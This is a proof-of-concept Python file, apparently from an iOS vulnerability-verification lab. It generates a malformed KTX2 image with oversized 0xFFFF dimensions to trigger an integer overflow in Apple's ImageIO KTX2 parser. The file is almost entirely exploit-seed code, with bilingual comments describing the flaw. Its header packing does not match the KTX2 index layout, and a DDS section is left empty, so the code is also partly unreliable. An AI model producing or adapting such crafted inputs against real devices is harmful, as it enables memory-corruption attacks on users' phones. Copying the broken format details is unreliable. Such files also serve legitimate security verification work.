Cinder27 — iOS 17.0-27.1 vulnerability verification lab: 51 modules, 31 per-CVE POC folders, 11 no-CVE module folders, harness app source

CVE-2026-112625/CVE-2026-112625.py

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+#!/usr/bin/env python3
+# iio.ktx2 · ImageIO · KTX2ReadPlugin · CVE-2026-112625
+# 原语: 整数溢出 · 进程内 | Primitive: integer overflow · in-process
+#
+# [zh] KTX2 维度/层级尺寸运算
+# KTX/KTX2 的层级字节数与块数运算缺少 64 位 umull/umulh 保护，且既有检查所依据的量本身是错的（使用 channels 而非源 bpp）。27.2 增加 \"image
+# dimensions overflow\" 与 \"expected %llu bytes\" 两道闸门。
+#
+# [en] KTX2 dimension and level size arithmetic
+# KTX/KTX2 level byte counts and block counts lack 64-bit umull/umulh protection, and the existing
+# check is keyed on the wrong quantity (channels rather than source bpp). iOS 27.2 adds "image
+# dimensions overflow" and "expected %llu bytes" gates.
+#
+# 种子生成 — verbatim from Cinder27/scripts/gen_seeds.py
+# 触发器（run 闭包）与非种子构建器: 同目录 CVE-2026-112625.swift
+# triggers (run closures) & non-seed builders: CVE-2026-112625.swift in this folder
+
+import struct
+
+
+# --------------------------------------------------------------------------- KTX2
+def build_ktx2():
+    ident = bytes([0xAB, 0x4B, 0x54, 0x58, 0x20, 0x32, 0x30, 0xBB, 0x0D, 0x0A, 0x1A, 0x0A])
+    vk_format = 0            # 0 => block-compressed via DFD
+    type_size = 1
+    w, h = 0xFFFF, 0xFFFF
+    depth, layers, faces, levels = 0, 0, 1, 1
+    scheme = 0
+    kvd_off, kvd_len = 0, 0
+    sgdt_off, sgdt_len = 0, 0
+    header = struct.pack("<9I", vk_format, type_size, w, h, depth, layers, faces, levels, scheme)
+    header += struct.pack("<IQ", kvd_off, kvd_len)
+    header += struct.pack("<IQQ", sgdt_off, sgdt_len, 0)
+    # level index: one level, claiming a tiny byteOffset/byteLength
+    level_index = struct.pack("<QQQ", 0, 0, 64)
+    body = b"\x00" * 64
+    return ident + header + level_index + body
+
+
+# --------------------------------------------------------------------------- DDS BC7
+
+if __name__ == "__main__":
+    import sys
+    out = sys.argv[1] if len(sys.argv) > 1 else "ktx2_bad_dims.ktx2"
+    open(out, "wb").write(build_ktx2())
+    print("wrote", out)